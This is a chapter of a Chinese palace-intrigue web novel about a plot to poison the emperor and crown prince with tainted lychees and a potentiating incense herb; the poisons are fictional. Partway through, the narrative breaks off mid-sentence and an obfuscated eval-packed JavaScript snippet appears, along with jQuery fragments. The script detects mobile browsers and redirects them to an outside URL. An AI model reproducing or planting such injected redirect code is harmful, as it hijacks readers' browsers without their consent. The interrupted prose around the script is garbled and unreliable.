默认冷灰
24号文字
方正启体

15. 第十五章

作者:江不在野本书字数:K更新时间:
    刘安行迅速浏览两张药方,"炙甘草、桂枝、阿胶……云崖白蔻……是了!云崖白蔻和血藤汁!"


    “云崖白蔻会放大血藤的毒性!”他兴奋地叫起来,旁边全程守着的孟锦芝被吓了一跳,忍不住上前一步,紧张地问:“刘太医……”


    “夫人放心,我找到症结所在了,一定还您一个痊愈的大小姐。”刘安行安慰完侯夫人,立刻埋头陷进了自己的药箱里。


    有他这句话,孟锦芝和施庭柏终于能松一口气了。


    刘太医迅速开出药方,然后给羡予施针,加快毒素的排出。


    孟锦芝赶紧着人按着刘太医的方子去抓药,她自己依旧寸步不离地守着羡予被施针。


    针灸结束,一位公公领着两位太医也到了镇国侯府,正是崇安帝后来吩咐调来的人。


    刘安行正收拾自己的医箱,见两位同僚到了,心头一喜,“您二位来的正好,施小姐所中血藤毒被云崖白蔻诱发,我已经开了方子施了针,劳烦您二位帮我照看着,我要先回太医院一趟。”


    他说着便拎起箱子跑了出去,登上了镇国侯府把他送回去的马车。


    钟晰依旧留在宫里——崇安帝不放心,要让他在宫里住一晚,便于太医院及时照应。他再不喜这个儿子,也明白太子的分量。


    太医院众人已经下去备药,估摸着得三四天才能彻底清除余毒。


    崇安帝面色阴沉。荔枝进入容都的路程漫长,越州有专人负责运输。血藤毒若是到江州才混入冰水中,那此案调查起来起码牵连两州。


    方才宋老太医解释过,血藤是南地特产的毒物,常见于越州山林中。


    皇帝心中的怒火快把越州几个官员的九族都烧完了,但亲卫尚未调查出结果,他还不能发作。


    旁边一直沉默的钟晰想到了另一种可能——南越。


    南越擅用毒,且日渐不满向大梁朝贡。镇国大将军施庭松死后,其狼子野心更是不加隐藏。如今镇守越州与南越边关的总兵为韩佑,是曾经施将军的副将,南越尚且忌惮一二。


    若此时容都的皇帝毒发身亡,趁大梁内部动乱之机,南越绝对会起兵北上攻占越州。占领越州,便可图谋中原腹地。


    -


    日头渐渐西沉,云彩晕染成朱色,犹如神女披帛。


    但刘安行没空抬头看,他挎着药箱在宫道上飞奔,发冠都跑歪了,他来不及整理,直奔承光殿求见陛下。


    崇安帝目光一凝,他直觉这不是个好消息。


    刘安行跪见,语速连珠:“臣刘安行叩见陛下,请陛下速速离开承光殿!”


    崇安帝腾地起身,怒目而视,呵问刘安行:“你什么意思,把话说清楚!”


    钟晰冷眼旁观,他的父皇今日受惊不小,此刻已是草木皆兵,哪还有平日里那种威严。


    “荔枝内所藏的为血藤毒,此毒会与云崖白蔻药性作用。云崖白蔻能大大增强血藤汁的毒性,承光殿内所燃的玉华云檀香便使用了大量的云崖白蔻,还请陛下先移驾殿外。”


    刘安行三两句解释清楚,崇安帝已经快步离殿,边走边怒骂出声:“把太医院那群废物给朕叫过来!”


    容德手持拂尘,赶紧指挥宫人把殿中央的香炉给灭了,然后将所有门窗都打开。


    看到钟晰似乎愣在了原地,容德忙不迭小跑过去,扶着钟晰往外走,“欸哟我的太子殿下哟,您先移步,奴才见您多留在殿内一刻都心惊胆颤呐。”


    钟晰愣住是因为羡予。刘安行回来禀报说明他已经弄清了羡予中毒的原委,想来就是因为云崖白蔻。


    这是一种十分名贵的药材,同时也做香料,主安神养心之效,所以崇安帝才会用这种香。


    而羡予他是知道的,小姑娘自小就精神头不好,平日里也显得懒懒的,一直喝着安神汤。想来正是因为安神汤里有云崖白蔻,加上本就体质不佳,毒发更快。


    崇安帝已经移驾宣阳殿寝宫,宋老太医战战兢兢跪在下首,为未曾及时发现云崖白蔻的隐患请罪。


    云崖白蔻会十倍放大血藤的毒性,但不会改变血藤毒的隐蔽性,寻常诊脉根本发现不了,需用银针取血才行。没人敢轻易给皇上和太子放血,因此,宋太医等人初次诊脉时,都未发现二人皆已中毒。


    原本需要百余颗荔枝积累才能毒发的剂量,在大量摄入云崖白蔻后,只需食用不到二十颗毒荔枝就会毒发。


    而且因为皇帝每日从香料中吸入的云崖白蔻有限,同样需要积累,待到能发现时,恐怕已是半月之后。而那时,血藤毒已经毒入膏肓,药石无医了。


    即使自己被波及,钟晰也不得不感叹,此计环环相扣,相当缜密,可谓精彩至极。


    钟晰跟着崇安帝回了宣阳殿,他宽慰了两句“父皇福泽深厚,必有天佑”云云,神情关切。


    崇安帝支手撑着额头,这短短两个时辰内发生的事情让他头疼不已。许是因为知道自己中了毒,即使只是少量,也让他觉得恶心想吐。


    太医院的人还要配解药而饶过一命,崇安帝想起了这件事牵连的其他人。


    事情调查得差不多,太子是因为从良妃那得到了多的荔枝才赠给施庭柏,而施庭柏的侄女又是因为常年喝着云崖白蔻的安神汤,才毒发迅猛,听说人都半只脚踏进鬼门关了。


    桩桩件件看起来具是巧合,若是断掉一处,恐怕半个月后皇帝就要龙驭宾天。


    皇帝叹了一口气,这才生出一点劫后余生的庆幸来。


    他叫来容德,“施家那丫头这次也算立了一功,让她好好安养着,你去挑些合适的赏赐到镇国侯府,多带些补品药材。”


    “镇国侯府……”崇安帝轻轻念着,不知是不是想起了镇国侯府的往日荣光。施家儿郎为了他的江山,个个都能抛头颅洒热血,剩下的幼女还替皇帝挡了一难。


    崇安帝挥手让太子和容德都退下,但容德瞧着这意思,镇国侯府是又能回归宠眷之列了。


    施小姐这一难,受的真值。


    -


    钟晰回到了英萃宫,未出宫立府的皇子都住在这儿,他幼时也是。


    他在脑中飞速盘算着今天发生的所有事,但只觉得思维混乱,有一个难以忽视的念头从心底升起——是因为他,羡予才遭此一劫。


    而她远离容都纷争的理想,恐怕也要化为泡影了。


    钟晰坐在幼时寝殿内,手指有一搭没一搭敲着桌面,晚霞夕照,在他面前洒落一地。


    这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181900|165317||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个颜色像羡予今日头上的珠花。他望着漫天云霞想,中午还活蹦乱跳的人,现在只能无力的躺着。


    不知她醒了没有。


    但钟晰立刻驱散了自己这种优柔的心思。他已经看过许多人的生死,任何事都不应该牵绊于他。


    殿外有个锦衣少年探头探脑地往里瞧,似乎想看清钟晰脸色再决定要不要进去。


    钟晰朝门口分去一个眼神,随口道:“进来吧。”


    外头的少年慢腾腾地挪进来,眉眼向下撇着,但还是规规矩矩地行了礼:“二哥。”


    三皇子钟昭的来意很容易猜到。


    承光殿内崇安帝发了那样大的火,还把整个太医院都叫去了,即使封锁了消息,宫里还是有些风言风语。


    钟晰:“找我何事?”


    “他们说……他们说,”钟昭嗫嚅,不敢看二哥,“我母妃给二哥下毒。我来……”


    他来干什么呢?钟昭说不清楚。毒害皇储,即使是后妃,那也是死罪。总不能说,我来看看二哥你死没死吧?


    钟昭小心地抬头看了一眼,见二哥面色如常、呼吸平稳,不像是中了毒的样子,悄悄松了口气。


    钟晰忽地明白了羡予为何远离容都,反而更轻松自在。


    他和钟昭是兄弟,但周围大部分人都不这么想。天家亲情淡薄,所有人都只顾自己的利益,身边的小人无处不在,靠挑拨离间获得上位者的关注。


    钟晰冷笑一声,寒声道:“哪个蠢货编排主子,拖去慎刑司吧。”


    三殿下身边的太监听闻此言,被话里的寒意吓得两股战战。


    原本低头塌肩站着的钟昭马上支楞了起来,他脑瓜子再不灵活,也反应过来,这是不关母妃的事了。他立刻告退,远离了过于冷峻威严的二哥。


    -


    钟晰在宫内住了两天便回了太子府,随后也叫人备了礼送去镇国公府。


    毕竟明面上大家都知道,施小姐的毒荔枝是太子殿下送的,所以钟晰想补偿一二也是常理。


    太子私下里还和施庭柏见了一面,言明了和施小姐的交往缘由,但也隐去了一些细节。


    钟晰缓声道:“施小姐救我一次,又救我父皇一次,我愿以公主之礼待她。侯爷和小姐日后若是遇到难处,尽可来寻我。”


    施庭柏听得这样的许诺,第一反应不是喜,而是又惊又忧。羡予获得这样的关注,真的是好事吗?他连声道“不敢。”


    “臣没有别的心愿了,只求侄女身体康健,平安顺遂。”施庭柏深深低头。


    钟晰并不怀疑面前这个男人对侄女的爱护之心。当年施将军战死、他初袭爵之时,崇安帝也问他可想要什么赏?


    他只给落水后日渐体弱的侄女求了一根百年人参。


    羡予昨日刚醒,现在精神不佳,施庭柏还未曾问过她是如何与太子结识。思及此,他突然反应过来,请问钟晰:“殿下,您可曾告知侄女您的身份?”


    钟晰沉默:“……她尚未知晓我的身份。”


    施庭柏也呆住了。难怪他觉得哪里不对,羡予她一个如此淡泊的人,怎么会上赶着与太子结交?与太子熟识的话,羡予不可能不告诉他啊。


    感情是根本不知道!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)